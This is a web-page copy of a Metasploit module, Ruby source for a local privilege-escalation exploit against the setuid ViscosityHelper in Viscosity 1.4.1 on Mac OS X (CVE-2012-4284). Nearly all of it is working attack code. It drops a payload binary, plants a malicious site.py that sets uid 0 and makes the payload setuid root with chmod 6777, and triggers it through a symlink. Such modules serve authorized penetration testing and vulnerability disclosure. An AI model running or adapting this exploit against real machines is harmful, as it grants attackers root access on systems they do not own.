Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/setuid_viscosity.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::OSX::Priv
10
include Msf::Post::File
11
include Msf::Exploit::EXE
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
{
18
'Name' => 'Viscosity setuid-set ViscosityHelper Privilege Escalation',
19
'Description' => %q{
20
This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The
21
vulnerability exists in the setuid ViscosityHelper, where an insufficient
22
validation of path names allows execution of arbitrary python code as root.
23
This module has been tested successfully on Viscosity 1.4.1 over Mac OS X
24
10.7.5.
25
},
26
'References' => [
27
[ 'CVE', '2012-4284' ],
28
[ 'OSVDB', '84709' ],
29
[ 'EDB', '20485' ],
30
[ 'URL', 'http://blog.zx2c4.com/791' ]
31
],
32
'License' => MSF_LICENSE,
33
'Author' => [
34
'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
35
'juan vazquez' # Metasploit module
36
],
37
'DisclosureDate' => '2012-08-12',
38
'Platform' => 'osx',
39
'Arch' => [ ARCH_X86, ARCH_X64 ],
40
'SessionTypes' => [ 'shell' ],
41
'Targets' => [
42
[ 'Viscosity 1.4.1 / Mac OS X x86', { 'Arch' => ARCH_X86 } ],
43
[ 'Viscosity 1.4.1 / Mac OS X x64', { 'Arch' => ARCH_X64 } ]
44
],
45
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
46
'DefaultTarget' => 0,
47
'Notes' => {
48
'Reliability' => UNKNOWN_RELIABILITY,
49
'Stability' => UNKNOWN_STABILITY,
50
'SideEffects' => UNKNOWN_SIDE_EFFECTS
51
}
52
}
53
)
54
)
55
register_options [
56
# These are not OptPath because it's a *remote* path
57
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
58
OptString.new("Viscosity", [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ])
59
]
60
end
61
62
def base_dir
63
datastore['WritableDir'].to_s
64
end
65
66
def check
67
unless file? datastore['Viscosity']
68
vprint_error 'ViscosityHelper not found'
69
return CheckCode::Safe
70
end
71
72
check = cmd_exec("find #{datastore["Viscosity"]} -type f -user root -perm -4000")
73
74
unless check.include? 'ViscosityHelper'
75
return CheckCode::Safe
76
end
77
78
CheckCode::Vulnerable
79
end
80
81
def clean
82
file_rm(@link)
83
file_rm(@python_file)
84
file_rm("#{@python_file}c")
85
file_rm(@exe_file)
86
end
87
88
def exploit
89
if is_root?
90
fail_with Failure::BadConfig, 'Session already has root privileges'
91
end
92
93
if check != CheckCode::Vulnerable
94
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
95
end
96
97
unless writable? base_dir
98
fail_with Failure::BadConfig, "#{base_dir} is not writable"
99
end
100
101
exe_name = rand_text_alpha(8)
102
@exe_file = "#{base_dir}/#{exe_name}"
103
print_status("Dropping executable #{@exe_file}")
104
write_file(@exe_file, generate_payload_exe)
105
106
evil_python = <<~EOF
107
import os
108
os.setuid(0)
109
os.setgid(0)
110
os.system("chown root #{@exe_file}")
111
os.system("chmod 6777 #{@exe_file}")
112
os.execl("#{@exe_file}", "#{exe_name}")
113
EOF
114
115
@python_file = "#{base_dir}/site.py"
116
print_status("Dropping python #{@python_file}...")
117
write_file(@python_file, evil_python)
118
119
print_status("Creating symlink...")
120
link_name = rand_text_alpha(8)
121
@link = "#{base_dir}/#{link_name}"
122
cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}"
123
124
print_status("Running...")
125
begin
126
cmd_exec "#{@link}"
127
rescue
128
print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...")
129
clean
130
return
131
end
132
print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}")
133
end
134
end
135
136